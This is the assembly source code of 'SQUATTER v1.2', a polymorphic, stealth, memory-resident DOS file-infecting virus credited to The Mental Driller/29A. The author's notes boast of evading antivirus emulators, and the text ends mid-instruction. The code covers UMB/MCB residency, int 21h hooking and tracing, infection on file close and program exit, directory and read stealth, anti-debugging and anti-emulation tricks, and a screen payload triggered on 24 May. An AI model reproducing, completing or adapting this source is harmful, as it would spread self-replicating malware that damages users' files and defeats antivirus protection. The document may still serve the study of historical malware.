;;; ÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝ ;;;ÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍ ;;; ÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝ ;;; ³³³³³³³³³³³³³³³³³³³³ÆÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏϵ³³³³³³³³³³³³³³³³³³³³³³³³ ;;; ³³³³³³³³³³³³³³³³³³³³³ S Q U A T T E R v 1 . 2 ³³³³³³³³³³³³³³³³³³³³³³³³³ ;;; ³³³³³³³³³³³³³³³³³³³³³ c o d e d b y ³³³³³³³³³³³³³³³³³³³³³³³³³ ;;; ³³³³³³³³³³³³³³³³³³³³³-= The Mental Driller/29A =-³³³³³³³³³³³³³³³³³³³³³³³³³ ;;; ³³³³³³³³³³³³³³³³³³³³ÆÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑѵ³³³³³³³³³³³³³³³³³³³³³³³³ ;;; ÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝ ;;;ÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍ ;;; ÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝ ;;; ;;;; ENHANCED SQUATTER v1.1 ;;;; BUGS FIXED, ANTI-EMULATING TRICKS INMPLEMENTED, POLYMORPHISM IMPROVED ;;; Since I'm spanish, my english could suck anytime, so be benevolent with ;; me :) . All labels in the virus are in spanish, and some labels hasn't a ;; normal name, because are "transition" labels. Only the important labels ;; have a name like "@@DesinfectaHandle" ("@@DisinfectHandle" in english), ;; for example. ;;; This virus started like SQUATTER v1.0. AVP, DSAV, and all that avs can ;; detect it now. Then I modified the source a little bit, without modifying ;; the polymorphism engine, and I looked that DSAV (Dr. Solomon's Anti-Virus) ;; could detect it like "...could be a new virus!". Damn! This av has a really ;; good emulation technique. ;; Then, I said: "Virus always go a step over anti-virus. I MUST do a virus ;; that forces anti-virus to be reprogrammed". That's it! After coding and re- ;; coding certain parts of the virus and the polymorphism engine I reached ;; what I wanted. There are forms of the virus that they aren't recognized ;; like executable code by the antivirus :) , but you can "safelly" run them ;; ("safelly" with quotes because it's a virus, you know :) . ;;; All accesses to memory and offsets contains a subtract like ;;; MOV [AntInt21h-200h], BX ;;; This "-200h" is because I used an emulation of an infected COM program to ;;; run the virus, and all addresses are related to 200h, which is the initial ;;; delta-offset. So I must subtract this quantity every time. I know it ;;; sucks, but I was too lazy to change it &) ;;; It has anti-heuristics, so, when I call to int 21h, I subtract 10h from ;;; the function number, and this quantity is added on "Int21h" routine (this ;;; routine calls real int 21h). For example, when I use "MOV AX,2D02/CALL ;;; Int21h" I'm calling to function 3D02h of the int 21h. ;;; Well, let's go with explanations about this virus and what it does: ;** FEATURES ** ;;; Now the created decryptor can't be debugged and/or emulated properly if ;; it isn't runned normally. Of course, since the virus is polymorphic, there ;; are situations when the decryptor could be traced with a debugger/emulator. ;; Moreover, there are four different algorithms to decrypt (normal loop, loop ;; of loops, etc.) and coprocessor garbage instructions, indexed memory ;; writes, etc. ;;; SQUATTER v1.0 had bugs on installation that made that virus a bit unstable ;; in some systems. Now these bugs are fixed, and a new residency routine has ;; been stablished. Now it handles correctly UMBs and MCBs (since non-publi- ;; shed version 1.1). ;;; The virus catch 26 functions of the int 21h. 18 are used for the stealth ;; (they were 19, but handling function 40h the virus doesn't work properly, ;; so it has been disabled), 6 for infecting and 2 miscellaneous (function 1Ah ;; to go faster on DIR stealth and function 30h like install check). ;;; FCB dis/infection is now implemented. I realized that DOS uses FCB to de- ;; lete files. If you delete any infected file and you recover it with "UNDE- ;; LETE" or similars, the non-stealthed size of the archive is shown. Then I ;; had to code a routine for disinfecting FCB on deleting files. Since disin- ;; fection on deletion is the same than disinfection on opening, I supported ;; FCB disinfection on opening too. In the same way, infection on FCB closing ;; is supported. ;; During the installation the virus does: ;; * It checks the DOS version. If the virus isn't resident, it would be exe- ;; cuted normally. If it is resident, when it returns from the interruption ;; all the residency process will be avoided, returning directly to the label ;; "@@FinInstalacion". Before doing it, the virus in memory will check all ;; the code that follows to the return pointer, and if it is the virus, the ;; quantity of bytes necessary to go to the end of the installation will be ;; added to the return pointer. It is made to avoid certain lamer antivirus ;; which checks memory for virus calling the install-check functions. ;; * It searchs the last UMB in memory (which normally is the DOS UMB of free ;; upper memory) and subtract the quantity of memory the virus needs (if it ;; is big enough, of course). If the UMB isn't big enough or the system can't ;; hold UMBs for any reason, the virus will install via MCBs. ;; * The int 21h will be traced with the int 30h trick. If it fails, int 21h ;; will be traced with single-step tracing. ;; * It will patch the pointers in memory to the real int 21h, to avoid wri- ;; ting on the TVI and/or avoid patching the first 5 bytes with a ;; JMP XXXX:XXXX, because the dis/infection system of the virus can't hold ;; that method. ;; * It recovers the original values of execution in the registers when it ;; executes the host (a little work to improve the stealth). ;; Using int 21h, the virus is practically invisible to the system. Moreover, ;; it's a fast-infector. ;; Infection functions: ;; * 3Eh - Close handle ;; * 10h - Close FCB ;; * 4Ch, 00h - Terminate execution (int 20h calls to AH=00/INT 21h inter- ;; nally). ;; * 31h - TSR ;; * 43h - Get/set attributes. ;; Stealth functions: ;; * 11h, 12h - Search for directory entries (FCB) ;; * 4Eh, 4Fh - Search for directory entries (Handle) ;; * 23h - Get file size (FCB) ;; * 3Dh, 6Ch - Open file (Handle) ;; * 0Fh - Open file (FCB) ;; * 3Fh - Read from handle ;; * 40h - Write on handle (set off by problems) ;; * 41h - Delete file (Handle) ;; * 13h - Delete file (FCB) ;; * 42h - Handle pointer seek ;; * 4Bh - Program execution ;; * 57h - Get/set time and date from/to a handle ;; * 25h - Set interrupt vector ;; * 35h - Get interrupt vector ;; * 44h - IOCTL functions ;; Internal functions: ;; * 30h - Install-check (anti-lamers) ;; * 1Ah - Set new DTA address ;;; POLYMORPHISM ;; I've tried to do an "as-powerful-as-I-can" engine, but you know, our sons ;; and daughters are always the most handsome, the most clever... :) . So, I ;; can't be objective at all when I say that the engine is one of the good ;; ones (I think). The created decryptor contains CALLs, un/conditional JMPs ;; with non-zero displacement, conditional JMPs to invalid code, anti-emula- ;; ting and anti-debugging code, indexed memory writes and LOTS of weird ;; 8/16/32 bit garbage, including coprocessor ones with memory read/write ;; instructions. The virus is also non-static sized(!), but the stealth works ;; fine :) . It would be sufficient with only a decryptor, but I wanted to ;; fuck avers, so I put 2! :) and later I added a semi-polymorphic decryptor ;; (just a little 22 bytes maxsized). However, I did the sufficient stuff to ;; make AVers to recode their emulation programs if they want to detect this ;; virus properly. ;;; This virus is my first and my last one in DOS that I release like this ;;; one. Next ones will be Win32, but first I wanted to finish it because ;;; I had on mind sine I begin with the viruses to do a virus like the ;;; Squatter and a engine like the MeDriPolEn. But remember: it's the last ;;; one DOS-exclusive virus that I make. ;;; Well, I think it's all. If you look at the code, you will see many things ;; that I hadn't say here, but they are interesting. ;;;; THANKS TO: ;;; 29A : I thought before join them that 29A was one of the best groups in ;;; the scene actually, and now I think is one of the best along the ;;; viruscene history! :) ;;; VLAD : For the great idea of using the system handles to manage the opera- ;;; tions of dis/infection (look the "FakeHandle" routine to know what ;;; I'm saying). Of course, they keep on being a legend! ;;; PS: I don't know if you'll read this, but this group was the one that in- ;;; troduced me in the viruscene, specialy Dark Angel. Greetz!. ;;; ;;; All that groups that intend to revitalize the scene with new ideas and ;;; don't get stalled with the new technologies, demostrating their talent. ;;; ;;; And greets to all those individuals (being in groups or not) in the IRC ;;; #virus channel where we joke and talk, and that other ones that I know ;;; personally. U know who u r! :) ;;; ;;; Well, eeemh... oh, YES! Thanks to you, for reading this. ;;; To assemble this: ;; TASM /m29A /mu squatter.asm ;; TLINK /x /t squatter.obj ;;; Now, enjoy :) ;; The Mental Driller ;; ®The limit of virus making exists only ;; in the mind of antivirus makers¯ .MODEL TINY ; Not tiny at all! :) (the virus' size is more than 9 Kb!) LOCALS @@ .386 ; Sorry 286ers :) .CODE ; Let's start! ;;; EQUATES ;; "Longvirus" is the clean virus size. ;; "LongVirusP" is the amount of memory that the virus needs. ;; "LongVirus2" is the static size of the virus (without random increasement) ;; "LongCheck" is the amount of bytes that the install-check routine must ;; avoid when returns, to jump directly to the end of the installation ;; process. ;; "Palabro" is to save bytes, to put one 32 bits instruction instead of two ;; 16 bits instructions. ;; "DededeMerde" is to put a value inside a LEA Reg,[Reg-(NewVirus-200h)], ;; because TASM doesn't allow that (WHY???) LongVirus EQU Offset FinVirus - Offset InicioVirus + 2 LongVirusP EQU ((LongVirus / 16) + 2) * 2 + 50h + 1 LongVirus2 EQU LongVirus + 500 LongCheck EQU Offset FinChequeo - Offset InicioChequeo Palabro EQU (LongVirusP*10000h)+0008h DededeMerde EQU - (offset NewVirus - 200h) ORG 100h ; A COM file will be created. Squatter PROC JMP @@Inicio ; This code emulates an infected file INT 21h DB 0FBh DUP (0) InicioVirus LABEL WORD DB 16h DUP (90h) ; Space where the little "semipoly" de- ; cryptor is. @@Inicio: MOV SI, 200h ; Delta-offset in SI XOR BX, BX ; Let's go with some anti-emulation / db 26h ; anti-debugger MOV AX, [BX] XOR AX, 20CDh JZ @@S_I_0 @@Fuera: MOV AH, 4Ch INT 21h @@S_I_0: XOR DX, DX IN AL, DX PUSHF POP AX TEST AH, 1 JNZ @@Fuera PUSH SI MOV BP, SP POP SI CMP [BP], SI Truco1 LABEL WORD ; Anti-debugger. If this jmp is JNZ @@CopiaVirus ; patched, the next code doesn't work ; Reset coprocessor (random copro ins- ; tructions used during decryption) WAIT db 0DBh, 0E3h ; instruction: "fninit" JMP Truco_Salto ; This fuck heuristics. It jumps to ; the end of the virus, sets AH=30h ; and jump again to here. Retorno_Truco: SEGCS ; Execute int 21h anyway INT 21h InicioChequeo LABEL WORD CMP AL, 05h ; DOS < 5.0 ? Truco2 LABEL WORD DB 0CDh, 03 ; Anti-debugging (weird!) :) JB @@FinInstalacion ; If < 5.0, ends ;; OK, this is the UMB installation routine. It uses the technic of MCBs, but ;; applied to UMBs. To do that, you must know that the last UMB always belong ;; to DOS, and this UMB is the free upper memory, so, if you steal some memory ;; from this UMB, you don't overwrite any resident program. XOR DI, DI ; DI = 0 MOV AH, 52h ; Get list of lists SEGCS INT 21h LDS BX, ES:[BX+12h] ; Get buffers area address MOV AX, DS:[BX+1Fh] ; Segment of the first UMB in AX CMP AX, 0FFFFh ; Are there UMBs? JZ @@PorMCBs1 ; If not, use traditional methods @@SiguienteUMB: MOV DS, AX ; DS = segment of the first UMB CMP BYTE PTR [DI], 'Z' ; Is it the last UMB? JZ @@PruebaInst ; If it is, end searching MOV BX, [DI+03] ; BX = Size of this UMB INC AX ; Add MCB size ADD AX, BX ; Get in AX the segment of the next UMB JMP @@SiguienteUMB ; Repeat @@PruebaInst: CMP WORD PTR [DI+03], LongVirusP ; Is the UMB large ; enough? JBE @@PorMCBs1 ; If not, go to the traditional method ADD AX, [DI+03] ; Get last segment occupied by the UMB SUB AX, LongVirusP ; Subtract virus size MOV ES, AX ; Put this segment in ES SUB WORD PTR [DI+03], LongVirusP ; Subtract virus size to ; UMB's MCB JMP @@CopiaVirus ; Jump to copy routine ;; This is the "traditional" method of MCBs. It's used when the routine above ;; fails @@PorMCBs1: DB 0CDh, 03h ; Anti-debugging POP DS ; Recover DS PUSH DS MOV AX, DS ; Get segment of MCB in ES DEC AX MOV ES, AX CMP BYTE PTR ES:[0000], 'Z' ; Last UMB? JNZ @@FinInstalacion ; If not, end instalation DB 0CDh, 03h ; Anti-debugger :) MOV AX, WORD PTR CS:[SI+Offset @@PorMCBs1-200h] ; More an- XCHG AH, AL ; ti-debugger! XOR AH, AH ; The same MOV DI, AX ; At the end, DI = 0003 ... MOV BL, BYTE PTR CS:[SI+Truco1-200h] ; ... and BX = 000F XOR BH, BH SUB WORD PTR ES:[DI], LongVirusP + 1 ; Steal memory SUB WORD PTR ES:[DI+BX], LongVirusP + 1 MOV BYTE PTR ES:[0000], 'M' MOV ES, ES:[DI+BX] ; Get segment of the hole MOV BYTE PTR ES:[DI-03], 'Z' ; Create an UMB MOV DWORD PTR ES:[DI-02], Palabro ; MOV WORD PTR ES:[DI-02], 0008h ; MOV WORD PTR ES:[DI], LongVirusP MOV DWORD PTR ES:[DI+5], 00004353h MOV AX, ES ; Get segment where the virus will be INC AX ; allocated MOV ES, AX @@CopiaVirus: PUSH CS ; DS=CS POP DS XOR DI, DI ; DI=0 PUSH SI ; Save SI MOV CX, LongVirus ; CX=Size of clean virus CLD ; Fowards CALL RepMovsb ; Copy virus POP SI ; Recover SI PUSH ES ; DS=reserved segment POP DS MOV AX, 3521h ; Get int 21h interrupt vector SEGCS INT 21h MOV [AntInt21h-200h], BX ; Save it here Truco3: MOV [AntInt21h-200h+2], ES PUSH CS ; Put CS onto stack LEA AX, [SI+Offset VuelvedeMem-200h] ; AX=Return address PUSH AX ; Put it onto stack PUSH DS ; Jump to the copy of the virus in PUSH Offset SaltoaMem-200h ; memory... DB 0CDh, 03h ; Anti-debugging RETF ; ...then jump... SaltoaMem LABEL WORD ; ...here! MOV BYTE PTR CS:[InstalacionPoli-200h], 0 ; Set this to 0 ; to indicate that random seed ; must be actualized MOV AH, 2Fh ; Get DTA address SEGCS INT 21h MOV [DirecDTA-200h], BX ; Save it here MOV [DirecDTA-200h+2], ES MOV AX, 1600h ; Check for Windows SEGCS INT 2Fh OR AL, AL ; If Windows is active, jump JNZ @@WindowsActivo CALL TrazaPorINT30h ; Now, let's go trace int 21h JNC @@Sigue001 ; If int 21h could be traced, jump ;; Single-step tracing MOV AX, 3501h ; Get int 01 vector SEGCS INT 21h MOV WORD PTR [Ptr01-200h], BX ; Save it MOV WORD PTR [Ptr01-200h+2], ES MOV EAX, DWORD PTR [AntInt21h-200h] ; Get int 21h address MOV DWORD PTR [Puntero3-200h], EAX ; Put it on "Puntero3" XOR AX, AX ; ES = 0 MOV ES, AX CLI ; Set int 1 to "NewInt01h" MOV WORD PTR ES:[0004], Offset NewInt01h - 200h MOV WORD PTR ES:[0006], CS STI PUSHF ; Active Trap-Flag POP AX OR AH, 01h PUSH AX POPF MOV AH, 30h ; Call DOS function (do-nothing) PUSHF CALL DWORD PTR [AntInt21h-200h] PUSHF ; Set off Trap-Flag POP AX AND AH, 0FEh PUSH AX POPF MOV AX, WORD PTR [Ptr01-200h] ; Recover true int 1 MOV BX, WORD PTR [Ptr01-200h+2] CLI MOV WORD PTR ES:[0004], AX MOV WORD PTR ES:[0006], BX STI @@Sigue001: PUSH CS ; Put in ES:DI the address of our int 21h POP ES MOV DI, Offset NewInt21h - 200h LDS BX, DWORD PTR CS:[Puntero3-200h] ; Load in DS:BX the ; traced address CLI ; Set new int 21h, changing values in MOV [BX], DI ; traced interrupt and not in TVI or MOV [BX+02], ES ; patching bytes with a JMP STI ; Construct a 32 bit int 24h jump in "BytesInt24h" @@SigueInstal: MOV BYTE PTR CS:[BytesInt24h-200h], 0EAh MOV WORD PTR CS:[BytesInt24h-200h+1], \ Offset ProgramaInt24h-200h MOV WORD PTR CS:[BytesInt24h-200h+3], CS ; Put 2 IRETs in this direction MOV WORD PTR CS:[ByteInt1Bh-200h], 0CFCFh MOV BYTE PTR CS:[ByteInt2Ah-200h], 0CFh MOV AH, 1Ah ; Get date CALL Int21h PUSH CS ; CS = DS POP DS CMP DX, 0518h ; Is 24/05? (random date :) ) JZ PayLoad ; If it is, jump to the payload MOV BYTE PTR [Desinfeccion-200h], 2 ; Put a 2 here MOV AH, 4Ch CALL NewInt21h RETF ; Return to the virus in the host @@WindowsActivo: XOR AX, AX ; Change TVI directly with windows MOV ES, AX MOV WORD PTR ES:[0084h], Offset NewInt21h - 200h MOV WORD PTR ES:[0086h], DS JMP @@SigueInstal VuelvedeMem LABEL WORD FinChequeo LABEL WORD ; When the virus is in memory and install-check ; routine is used, it returns here directly @@FinInstalacion: POP ES ; Recovers ES and DS from stack POP DS CMP BYTE PTR CS:[SI+TipoEjec-200h], 01 ; Is EXE? JZ @@EsunEXE ; Then jump to EXE reinitialization ;;; Host is a COM @@EsunCOM: PUSH CS ; Put CS onto stack MOV DI, 0100h ; DI = 100h PUSH DI ; Put 100h onto stack ADD SI, Offset Los3bytes-200h ; SI=Address of the three ; saved bytes CLD ; Fowards MOVSW ; Recover this 3 overwritten bytes MOVSB MOV SI, 100h ; Put original value of SI in a COM ;;; Now it recovers initial register values of execution @@Salll: MOV DI, SP ; DI=initial SP ADD DI, 0004 XOR AX, AX ; AX=BX=0 XOR BX, BX MOV CX, 00FFh ; CX=00FF MOV DX, ES ; DX=Segment of PSP MOV BP, 091Ch ; BP=091C RETF ; Executes host ;;; Host is an EXE @@EsunEXE: MOV AX, ES ; AX=Initial segment of the EXE in memory ADD AX, 0010h ADD WORD PTR CS:[SI+InicSS-200h], AX ; Calculate original ADD WORD PTR CS:[SI+InicCS-200h], AX ; CS and SS CLI ; Set specified-in-header MOV SS, CS:[SI+InicSS-200h] ; SS:SP MOV SP, CS:[SI+InicSP-200h] STI PUSH WORD PTR CS:[SI+InicCS-200h] ; Put CS onto stack MOV SI, CS:[SI+InicIP-200h] ; SI=Initial offset PUSH SI ; Put SI onto stack JMP @@Salll ; Recover all registers and execute ; host Squatter ENDP ; End of installation routine ;;; Little DATA section Los3bytes DB 0B8h, 00, 4Ch ; First three bytes in a COM SaltoCOM DB 0E9h, 00, 00 ; It is used when constructing the ini- ; tial JMP in a COM InicIP DW 0 ; Data to execute EXE hosts InicCS DW 0 InicSS DW 0 InicSP DW 0 ;; Procedure to copy (it emulates a REP MOVSB) RepMovsb PROC PUSH AX ; Save AX @@Loop01: MOV AL, DS:[SI] ; Get byte from DS:SI MOV ES:[DI], AL ; Copy byte to ES:DI DB 0CDh, 03h ; Anti-debugger INC SI ; Increase pointers INC DI LOOP @@Loop01 ; Repeat CX times POP AX ; Recover AX RET ; Return RepMovsb ENDP ;; Used for memory writes for the polymorphic engine Basura4 dw 0 ;; Procedure to trace int 21h via int 30h trick TrazaporINT30h PROC XOR AX, AX ; Get address of 32 bit jump in int 30h in MOV ES, AX ; ES:BX MOV BX, ES:[00C1h] MOV ES, ES:[00C3h] CMP WORD PTR ES:[BX], 9090h ; Check if the first two by- JNZ @@SalconCARRY ; tes are a double NOP. If not, exit CMP BYTE PTR ES:[BX+2], 0E8h ;Check if a CALL follows them JNZ @@SalconCARRY ; If not, exit SUB BX, 0032h ; Subtract 32h to get int 21h entrypoint CMP WORD PTR ES:[BX], 9090h ; Check if there are two NOPs JNZ @@SalconCARRY ; If not, exit CMP BYTE PTR ES:[BX+2], 0E8h ; Does CALL instruction fo- ; llow them? JNZ @@SalconCARRY ; If not, exit CMP WORD PTR ES:[BX+6], 2EFFh ; Is there a CS:JMP FAR...? JNZ @@SalconCARRY ; If not, exit MOV BX, ES:[BX+08h] ; Get address where pointer ; to int 21h is stored MOV WORD PTR CS:[Puntero3-200h], BX ; Store it in Puntero3 MOV WORD PTR CS:[Puntero3-200h+2], ES LES BX, ES:[BX] ; Load pointer to int 21h MOV WORD PTR CS:[AntInt21h-200h], BX ; Store it onto MOV WORD PTR CS:[AntInt21h-200h+2], ES ; "AntInt21h" CLC ; Clear Carry Flag and exit RET @@SalconCARRY: STC ; Set Carry Flag and exit RET TrazaporINT30h ENDP ;; More words to memory writing on poly engine Basura3 dw 0 ;;;;;;; New interruption 01h (to trace interrupts) NewInt01h PROC PUSH DX ; Save going-to-be-used registers PUSH AX PUSH SI PUSH DS PUSH CX PUSH BP XOR DL, DL ; DL=0 (exit with IRET, not RETF) MOV BP, SP MOV AX, [BP+0Eh] ; Get current segment MOV CX, CS ; Check if it is the virus CMP AX, CX JZ @@Fin1 ; If it is, return from interrupt MOV DS, AX ; Put segment in DS MOV SI, [BP+0Ch] ; Get IP on SI CLD ; Load a byte LODSB PUSH SI ; Save SI CMP AL, 9Ch ; Check if next instruction is PUSHF JNZ @@Siguiendo1 ; If not, jump INC WORD PTR [BP+0Ch] ; Avoid PUSHF MOV DL, 01 ; Set return with RETF JMP @@Acaba @@Siguiendo1: CMP AL, 9Dh ; Check if next instruction is POPF JNZ @@Siguiendo2 ; If not, jump OR WORD PTR [BP+12h], 0100h ;Set Trap-Flag in stack value JMP @@Acaba ; Jump @@Siguiendo2: CMP AL, 0CFh ; Check if next instruction is IRET JNZ @@Siguiendo3 ; If not, jump OR WORD PTR [BP+16h], 0100h ;Set Trap-Flag in stack value JMP @@Acaba ; Jump @@Siguiendo3: CMP AL, 2Eh ; Check if next instruction is CS: JNZ @@Siguiendo4 ; If not, jump LODSW ; Load next two bytes in AX JMP @@Siguiendo5 @@Siguiendo4: XCHG AH, AL ; Load next byte in AH LODSB XCHG AH, AL @@Siguiendo5: CMP AX, 2EFFh ; Check if a JMP FAR follows JZ @@EsJMPFAR ; If it is, jump to @@EsJMPFAR CMP AX, 1EFFh ; Check if a CALL FAR follows JZ @@EsJMPFAR ; If it is, jump to @@EsJMPFAR CMP AL, 0EAh ; Check if a JMP ????:???? follows JZ @@EsJMP32 ; If it is, jump to @@EsJMP32 CMP AL, 09Ah ; Check if a CALL ????:???? follows JNZ @@Acaba ; If it isn't, end @@EsJMP32: DEC SI ; Decrement SI to get address of JMP/CALL MOV CS:[Puntero2-200h], SI ; Save address on Puntero2 MOV CS:[Puntero2+2-200h], DS JMP @@Acaba ; Jump @@EsJMPFAR: LODSW ; Get memory index MOV CS:[Puntero2-200h], AX ; Save address on Puntero2 MOV CS:[Puntero2+2-200h], DS @@Acaba: POP SI ; Recover SI MOV AX, DS ; Put current segment in AX CMP WORD PTR CS:[AntInt21h+2-200h], 0F000h ; Check if BIOS ; or DMA JAE @@Fin1 ; If it's BIOS or DMA, we've got it CMP AX, WORD PTR CS:[AntInt21h+2-200h] ; Compare this seg- ; ment with stored one JZ @@Fin1 ; If it is the same, end CMP AX, 0F000h ; Is segment allow or equal to BIOS seg.? JAE @@Salto ; If it is, jump CMP AX, WORD PTR CS:[AntInt21h+2-200h] ; Compare segment ; with stored one JA @@Fin1 ; If it's greater, end @@Salto: DEC SI ; Decrement SI to get current CS:IP in ; AX:SI PUSH AX ; Save AX MOV AX, CS:[Puntero2-200h] ;Save in Puntero3 the address MOV CS:[Puntero3-200h], AX ; on Puntero2 MOV AX, CS:[Puntero2+2-200h] MOV CS:[Puntero3+2-200h], AX POP AX ; Recover AX MOV WORD PTR CS:[AntInt21h-200h], SI ; Save new int 21h MOV WORD PTR CS:[AntInt21h+2-200h], AX ; address @@Fin1: POP BP ; Recover registers POP CX POP DS POP SI POP AX CMP DL, 01 ; IRET or RETF? JZ @@Fin2 ; Let's go with RETF POP DX IRET @@Fin2: POP DX RETF NewInt01h ENDP ;; More memory write zones Basura1 dw 0 ;;;;;;;;; PAYLOAD AND IDENTIFICATION OF THE VIRUS Mensaje DB 0, "Squattering your system has become by hobbie :)", 0Dh, 0Ah Mensaje2 DB 0, '-SQUATTER v1.2- Coded by The Mental Driller/29A', 0 ;; Memory write zone Basura2 dw 0 ;;; AMAZING PAYLOAD! ;;; It puts on screen "Squattering your system has become my hobbie :)" and ;;; plays with the second chain displaying a colorful weird composition on ;;; screen :). ;;; It rocks, due to the thing it does and the size it has. Payload PROC MOV AX, 0003 ; Blank screen INT 10h PUSH CS ; DS equal to CS POP DS MOV AX, 0B800h ; ES=Text mode video segment MOV ES, AX @@Premio: MOV AH, 15h ; Color value MOV CX, 0047d ; Put first chain MOV SI, Offset Mensaje - 200h MOV DI, 0006 @@Loop1: LODSB STOSW LOOP @@Loop1 ;; Trippy starts! XD @@Premio2: PUSH ES ; Save ES XOR AX, AX ; ES=0 MOV ES, AX MOV AX, ES:[046Ch] ; Get timer value ROL AX, 3 ; Multiply it by 8 XOR AX, ES:[046Ah] ; XOR it with first timer value IN AL, 40h ; Get another timer value in AL POP ES ; Recover ES ; All this code is to get a value that ; changes slightly every time, and af- ; ter a few seconds performs a "jump" ; of bigger value AND AX, 0FFEh ; Set off 4 top bits and the lowest bit MOV DI, AX ; Put this value on DI MOV CX, 0048d ; Copy the second chain on ES:DI, with MOV SI, Offset Mensaje2 - 200h ; color AL @@Loop2: LODSB STOSW LOOP @@Loop2 JMP @@Premio ; Repeat all over and over again Payload ENDP Basura5 dw 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;; NEW INTERRUPTION 21h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; It handles lots of functions. The virus will infect archives if you use FCB ;; functions, too. Well, I wanted to do it extremely infectious :) NewInt21h PROC PUSH BP ; To avoid tracing (it can be patched, so PUSH AX ; it's only basic protection instructions) MOV BP, SP POP AX CMP AX, [BP] POP BP JZ @@Continua001 PUSH BP ; Fuck tracer :) RETF @@Continua001: CMP AH, 30h ; Install check? JNZ @@SigueInt ; If not, continue @@InstallCheck: PUSHA ; Save all registers PUSH DS PUSH ES MOV BP, SP ; Get on ES:DI the address of return to LES DI, DWORD PTR SS:[BP+14h] ; the calling program PUSH CS ; Get on DS:SI the same position it would POP DS ; be if the calling program is the virus MOV SI, Offset InicioChequeo-200h MOV CX, LongCheck CLD ; Check virus and program REPZ CMPSB JCXZ @@CheckOK ; If CX reached 0 value, the calling pro- ; gram is the virus POP ES ; If not, execute real int 21h POP DS POPA JMP @@FinInt21h @@CheckOK: ADD WORD PTR [BP+14h], LongCheck ; Add displacement to re- POP ES ; turn value and return POP DS POPA IRET @@SigueInt: CMP AH, 4Ch ; Terminate program? JZ @@Infecta ; If it is, infect it! OR AH, AH ; Terminate program? JZ @@Infecta ; If it is, infect it! CMP AH, 31h ; Terminate program? JZ @@Infecta ; If it is, infect it! :) CMP AH, 44h ; IOCTL Handle functions? JZ @@FuncionesIOCTL ; If it is, stealth it! CMP AH, 1Ah ; Set new DTA? JZ @@NuevoDTA ; If it is, jump CMP AH, 3Eh ; Close handle? JZ @@InfectaHandle ; If it is, infect handle! CMP AH, 10h ; Close FCB? JZ @@InfectaFCB ; If it is, infect FCB! CMP AH, 43h ; Get/set attributes? JZ @@InfectaAtributos ; If it is, infect file! CMP AH, 25h ; Set interrupt vector? JZ @@FijarVector ; If it is, jump CMP AH, 35h ; Get interrupt vector? JZ @@ObtenerVector ; If it is, jump CMP AX, 5701h ; Get date/time from a handle? JZ @@HoraFechaHandle ; If it is, jump CMP AH, 41h ; Delete file via handle? JZ @@DesinfectaHandle ; Disinfect file, then CMP AH, 13h ; Delete file via FCB? JZ @@DesinfectaFCB ; Disinfect file, then CMP BYTE PTR CS:[NoStealth-200h], 1 ; Avoid stealth? JZ @@FinInt21h ; If yes, jump and end CMP AH, 10h ; Get first/next directory entry (FCB)? JBE @@Salto0001 CMP AH, 13h JB @@StealthDIR ; If it is, stealth it! @@Salto0001: CMP AH, 4Dh ; Get first/next directory entry (handle)? JBE @@Salto0002 CMP AH, 50h JB @@StealthDIR ; If it is, stealth it! @@Salto0002: CMP AH, 4Ah ; Execute program? (4Bh) JBE @@Salto0000 CMP AH, 4Ch JB @@DesinfectaHandle ; If it is, disinfect file @@Salto0000: CMP AH, 3Dh ; Open file via handle? JZ @@DesinfectaHandle ; Disinfect file, then CMP AH, 6Ch ; Open file via handle? JZ @@DesinfectaHandle ; Disinfect file, then CMP AH, 0Fh ; Open file via FCB? JZ @@DesinfectaFCB ; Disinfect file, then CMP AX, 5700h ; Get date/time from handle? JZ @@HoraFechaHandle ; Then, stealth it! CMP AH, 3Fh ; Read from handle? JZ @@LeeHandle ; If it is... stealth it! ; CMP AH, 40h ; Prepared for write to handle, but ; JZ @@EscribeHandle ; due to problems it has been set off CMP AH, 42h ; Pointer seek on handle? JZ @@StealthPuntero ; If it is, stealth it! CMP AH, 23h ; Get file size via FCB? JZ 